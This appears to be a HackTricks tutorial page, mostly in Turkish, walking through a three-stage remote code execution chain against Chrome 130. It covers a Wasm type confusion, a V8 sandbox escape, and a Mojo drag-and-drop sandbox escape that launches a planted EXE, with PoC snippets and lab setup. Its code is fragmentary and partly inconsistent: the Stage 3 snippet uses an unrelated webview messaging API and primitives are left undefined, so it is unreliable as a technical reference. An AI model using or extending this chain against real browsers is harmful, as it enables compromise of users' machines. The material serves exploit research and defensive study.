Chrome Exploiting
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Bu sayfa, araştırma serisi “101 Chrome Exploitation” (Part-0 — Preface) temel alındığında Google Chrome 130’a karşı modern “full-chain” exploitation workflow için yüksek seviyede ama pratik bir genel bakış sağlar.
Hedef, pentesters ve exploit-developers’e teknikleri kendi araştırmaları için yeniden üretmek veya uyarlamak üzere gereken asgari altyapıyı sağlamaktır.
1. Chrome Architecture Recap
Saldırı yüzeyini anlamak için kodun nerede çalıştırıldığını ve hangi sandboxların uygulandığını bilmek gerekir.
Chrome işlem ve sandbox düzeni
```text +-------------------------------------------------------------------------+ | Chrome Browser | | | | +----------------------------+ +-----------------------------+ | | | Renderer Process | | Browser/main Process | | | | [No direct OS access] | | [OS access] | | | | +----------------------+ | | | | | | | V8 Sandbox | | | | | | | | [JavaScript / Wasm] | | | | | | | +----------------------+ | | | | | +----------------------------+ +-----------------------------+ | | | IPC/Mojo | | | V | | | +----------------------------+ | | | | GPU Process | | | | | [Restricted OS access] | | | | +----------------------------+ | | +-------------------------------------------------------------------------+ ```Katmanlı derin savunma:
- V8 sandbox (Isolate): bellek izinleri, JITed JS / Wasm tarafından yapılabilecek arbitrary read/write işlemlerini önlemek için kısıtlanır.
- Renderer ↔ Browser split, Mojo/IPC mesajlaşması ile sağlanır; renderer’ın hiçbir native FS/network erişimi yoktur.
- OS sandboxes her süreci daha da sınırlar (Windows Integrity Levels /
seccomp-bpf/ macOS sandbox profiles).
Bu yüzden bir remote saldırganın üç ardışık primitive’a ihtiyacı vardır:
- V8 içinde bellek bozulması ile V8 heap içinde arbitrary RW elde etmek.
- Saldırganın V8 sandbox’tan tam renderer belleğine kaçmasını sağlayan ikinci bir bug.
- Son bir sandbox-kaçışı (çoğunlukla bellek bozulmasından ziyade mantık hatası) ile Chrome OS sandbox dışında kod çalıştırmak.
2. Aşama 1 – WebAssembly Type-Confusion (CVE-2025-0291)
TurboFan’ın Turboshaft optimizasyonundaki bir hata, değer tek bir basic block döngüsü içinde üretildiğinde ve tüketildiğinde WasmGC reference types’ı yanlış sınıflandırır.
Etkisi:
- Derleyici type-check’i atlar, bir reference (
externref/anyref)’ı int64 gibi ele alır. - Özel hazırlanmış Wasm, bir JS obje başlığının saldırgan-kontrollü verilerle çakışmasına izin verir →
addrOf()&fakeObj()AAW / AAR primitives.
Minimal PoC (kesit):
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit ;; exit condition keeps us single-block
br $loop
end
end)
(export "f" (func $f)))
Optimizasyonu tetikle & JS’ten spray objects:
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
// primitives
let victim = {m: 13.37};
let fake = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
Sonuç: arbitrary read/write within V8.
3. Stage 2 – Escaping the V8 Sandbox (issue 379140430)
Bir Wasm fonksiyonu tier-up-compiled olduğunda, bir JS ↔ Wasm wrapper oluşturulur. Bir signature-mismatch bug, Wasm fonksiyonu hala stack üzerinde yeniden optimize edilirken wrapper’ın güvenilen bir Tuple2 nesnesinin sonunu aşarak yazmasına neden olur.
Tuple2 nesnesinin 2 × 64-bit alanının üzerine yazılması, Renderer process içindeki herhangi bir adreste read/write sağlar ve böylece V8 sandbox’ını etkili şekilde baypas eder.
Key steps in exploit:
- Get function into Tier-Up state by alternating turbofan/baseline code.
- Trigger tier-up while keeping a reference on the stack (
Function.prototype.apply). - Use Stage-1 AAR/AAW to find & corrupt the adjacent
Tuple2.
Wrapper identification:
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
wrapperGen(0x1337n);
Bozulma sonrası tam özellikli bir renderer R/W primitive’e sahibiz.
4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)
Mojo IPC arayüzü blink.mojom.DragService.startDragging() Renderer tarafından kısmen güvenilir parametrelerle çağrılabilir. Bir DragData yapısını rastgele bir dosya yoluna işaret edecek şekilde hazırlayarak Renderer, tarayıcıyı native drag-and-drop’ı renderer sandbox’ının dışında gerçekleştirmeye ikna eder.
Bunu kötüye kullanarak programatik olarak kötü amaçlı bir EXE’yi (önceden herkese yazma izni olan bir konuma bırakılmış) Masaüstü’ye “sürükleyebiliriz”; Windows burada bazı dosya türlerini bırakıldığında otomatik olarak çalıştırır.
Example (simplified):
const payloadPath = "C:\\Users\\Public\\explorer.exe";
chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
Ek bellek bozulmasına gerek yok – mantık hatası bize kullanıcının ayrıcalıklarıyla keyfi dosya çalıştırma imkanı veriyor.
5. Tam Zincir Akışı
- Kullanıcı ziyaret eder kötü amaçlı web sayfasını.
- Aşama 1: Wasm module, CVE-2025-0291’i suistimal eder → V8 heap AAR/AAW.
- Aşama 2: Wrapper uyuşmazlığı
Tuple2’yi bozar → V8 sandbox’undan kaçış. - Aşama 3:
startDragging()IPC → OS sandbox’undan kaçış ve payload’u çalıştırma.
Sonuç: Remote Code Execution (RCE) hedef sistemde (Chrome 130, Windows/Linux/macOS).
6. Laboratuvar ve Hata Ayıklama Kurulumu
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1
# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
Chrome’un geliştirme sürümünü başlatırken faydalı bayraklar:
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
7. Renderer → kernel escape kaynağı
Bir renderer exploit’i seccomp profili içinde kalan bir kernel pivot’a ihtiyaç duyduğunda, sandbox içinde hâlâ erişilebilir olan AF_UNIX MSG_OOB soketlerini kötüye kullanmak deterministik bir yol sağlar. Aşağıdaki Linux kernel exploitation vaka çalışmasına SKB UAF → kernel RCE zinciri için bakın:
Af Unix Msg Oob Uaf Skb Primitives
Çıkarımlar
- WebAssembly JIT bugs güvenilir bir giriş noktası olmaya devam ediyor – tip sistemi hâlâ genç.
- V8 içinde ikinci bir memory-corruption bug elde etmek (ör. wrapper mismatch) V8-sandbox escape’i büyük ölçüde basitleştirir.
- Privileged Mojo IPC arayüzlerindeki logic-level zayıflıklar genellikle final sandbox escape için yeterlidir – non-memory bug’lara dikkat edin.
Referanslar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


